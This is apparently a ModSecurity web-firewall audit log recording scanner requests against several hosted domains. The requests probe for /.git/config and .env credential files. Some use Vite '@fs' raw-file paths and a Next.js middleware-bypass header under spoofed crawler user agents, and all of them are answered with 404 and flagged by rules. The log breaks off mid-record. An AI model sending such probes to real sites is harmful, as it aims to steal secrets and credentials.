[13/Sep/2026:10:21:38.011873 +0300] aqZPAUwu1RSkptiiNIX10QAAAIg 154.54.100.176 55086 127.0.0.1 7081
--babe132a-B--
GET /.git/config HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 154.54.100.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPad; CPU OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/76.0.3809.81 Mobile/15E148 Safari/605.1
Accept-Charset: utf-8
Accept-Encoding: gzip
--babe132a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--babe132a-E--
--babe132a-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqZPAUwu1RSkptiiNIX10QAAAIg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqZPAUwu1RSkptiiNIX10QAAAIg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqZPAUwu1RSkptiiNIX10QAAAIg"]
Stopwatch: 1789284097973718 38216 (- - -)
Stopwatch2: 1789284097973718 38216; combined=35482, p1=303, p2=35056, p3=63, p4=7, p5=52, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--babe132a-Z--
--8737c110-A--
[13/Sep/2026:10:42:56.113507 +0300] aqZT-2M7dE9KgIIOpQhv8QAAAMk 162.243.61.206 55292 127.0.0.1 7081
--8737c110-B--
GET /.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br
--8737c110-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8737c110-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZT-2M7dE9KgIIOpQhv8QAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789285375998794 114772 (- - -)
Stopwatch2: 1789285375998794 114772; combined=6553, p1=532, p2=5947, p3=0, p4=0, p5=73, sr=159, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8737c110-Z--
--2da5f236-A--
[13/Sep/2026:11:02:06.265898 +0300] aqZYfWM7dE9KgIIOpQhwwQAAANI 216.81.200.63 44920 127.0.0.1 7081
--2da5f236-B--
GET /.git/config HTTP/1.1
Host: fmsa.green
X-Real-IP: 216.81.200.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 9; GM1917) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--2da5f236-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-DEBUGKIT-ID: 66d94872-0c59-40dd-9b1e-195db9db1a91
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2da5f236-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "fmsa.green"] [uri "/.git/config"] [unique_id "aqZYfWM7dE9KgIIOpQhwwQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "fmsa.green"] [uri "/.git/config"] [unique_id "aqZYfWM7dE9KgIIOpQhwwQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "fmsa.green"] [uri "/.git/config"] [unique_id "aqZYfWM7dE9KgIIOpQhwwQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/fmsa.green/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789286525891705 374244 (- - -)
Stopwatch2: 1789286525891705 374244; combined=40279, p1=329, p2=39882, p3=0, p4=0, p5=68, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2da5f236-Z--
--b6d02b40-A--
[13/Sep/2026:11:13:46.546444 +0300] aqZbOjTJ6xTvcJoem7f5tgAAAEM 34.21.80.87 36772 127.0.0.1 7081
--b6d02b40-B--
GET /@fs/.env?url&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b6d02b40-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b6d02b40-E--
--b6d02b40-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZbOjTJ6xTvcJoem7f5tgAAAEM"]
Stopwatch: 1789287226539286 7265 (- - -)
Stopwatch2: 1789287226539286 7265; combined=4550, p1=322, p2=4038, p3=122, p4=9, p5=58, sr=154, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6d02b40-Z--
--5fd0de47-A--
[13/Sep/2026:11:13:46.782380 +0300] aqZbOmM7dE9KgIIOpQhxGgAAANU 34.21.80.87 36794 127.0.0.1 7081
--5fd0de47-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5fd0de47-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5fd0de47-E--
--5fd0de47-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZbOmM7dE9KgIIOpQhxGgAAANU"]
Stopwatch: 1789287226776546 5906 (- - -)
Stopwatch2: 1789287226776546 5906; combined=4298, p1=292, p2=3861, p3=89, p4=10, p5=46, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5fd0de47-Z--
--93602c31-A--
[13/Sep/2026:11:13:46.842189 +0300] aqZbOkwu1RSkptiiNIX2mAAAAIU 34.21.80.87 36800 127.0.0.1 7081
--93602c31-B--
GET /@fs/.env?import&?raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--93602c31-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--93602c31-E--
--93602c31-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/.env"] [unique_id "aqZbOkwu1RSkptiiNIX2mAAAAIU"]
Stopwatch: 1789287226811966 30303 (- - -)
Stopwatch2: 1789287226811966 30303; combined=24828, p1=1169, p2=23511, p3=91, p4=10, p5=47, sr=151, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93602c31-Z--
--0da40216-A--
[13/Sep/2026:11:13:49.946231 +0300] aqZbPWM7dE9KgIIOpQhxJwAAANc 34.21.80.87 37006 127.0.0.1 7081
--0da40216-B--
GET /.env?import&url&inline HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0da40216-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--0da40216-E--
--0da40216-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPWM7dE9KgIIOpQhxJwAAANc"]
Stopwatch: 1789287229939969 6327 (- - -)
Stopwatch2: 1789287229939969 6327; combined=4898, p1=266, p2=4486, p3=86, p4=10, p5=49, sr=116, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0da40216-Z--
--75e0b477-A--
[13/Sep/2026:11:13:50.062565 +0300] aqZbPkwu1RSkptiiNIX2mgAAAIM 34.21.80.87 37012 127.0.0.1 7081
--75e0b477-B--
GET /.env?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--75e0b477-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--75e0b477-E--
--75e0b477-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPkwu1RSkptiiNIX2mgAAAIM"]
Stopwatch: 1789287230056138 6527 (- - -)
Stopwatch2: 1789287230056138 6527; combined=5127, p1=260, p2=4759, p3=63, p4=8, p5=37, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--75e0b477-Z--
--64d4c16c-A--
[13/Sep/2026:11:13:50.141496 +0300] aqZbPmM7dE9KgIIOpQhxKAAAAMw 34.21.80.87 37016 127.0.0.1 7081
--64d4c16c-B--
GET /.env?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--64d4c16c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--64d4c16c-E--
--64d4c16c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZbPmM7dE9KgIIOpQhxKAAAAMw"]
Stopwatch: 1789287230137176 4371 (- - -)
Stopwatch2: 1789287230137176 4371; combined=3146, p1=223, p2=2805, p3=72, p4=9, p5=37, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--64d4c16c-Z--
--392ee870-A--
[13/Sep/2026:11:13:50.270373 +0300] aqZbPisVWymXUono-eRUNwAAAAc 34.21.80.87 37030 127.0.0.1 7081
--392ee870-B--
GET /.env.local?raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--392ee870-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--392ee870-E--
--392ee870-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPisVWymXUono-eRUNwAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPisVWymXUono-eRUNwAAAAc"]
Stopwatch: 1789287230234957 35470 (- - -)
Stopwatch2: 1789287230234957 35470; combined=33950, p1=261, p2=33513, p3=120, p4=8, p5=48, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--392ee870-Z--
--e3ca147d-A--
[13/Sep/2026:11:13:50.331371 +0300] aqZbPjTJ6xTvcJoem7f5uwAAAEg 34.21.80.87 37040 127.0.0.1 7081
--e3ca147d-B--
GET /.env.local?import&raw HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e3ca147d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e3ca147d-E--
--e3ca147d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5uwAAAEg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.local"] [unique_id "aqZbPjTJ6xTvcJoem7f5uwAAAEg"]
Stopwatch: 1789287230295339 36085 (- - -)
Stopwatch2: 1789287230295339 36085; combined=33387, p1=337, p2=32940, p3=61, p4=7, p5=42, sr=151, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3ca147d-Z--
--6a24c117-A--
[13/Sep/2026:11:13:50.671958 +0300] aqZbPisVWymXUono-eRUOAAAABU 34.21.80.87 37090 127.0.0.1 7081
--6a24c117-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6a24c117-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6a24c117-E--
--6a24c117-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/@fs/app/.env"] [unique_id "aqZbPisVWymXUono-eRUOAAAABU"]
Stopwatch: 1789287230665087 6923 (- - -)
Stopwatch2: 1789287230665087 6923; combined=4197, p1=191, p2=3895, p3=66, p4=7, p5=38, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a24c117-Z--
--b106851b-A--
[13/Sep/2026:11:13:50.696027 +0300] aqZbPjTJ6xTvcJoem7f5vQAAAEQ 34.21.80.87 37088 127.0.0.1 7081
--b106851b-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
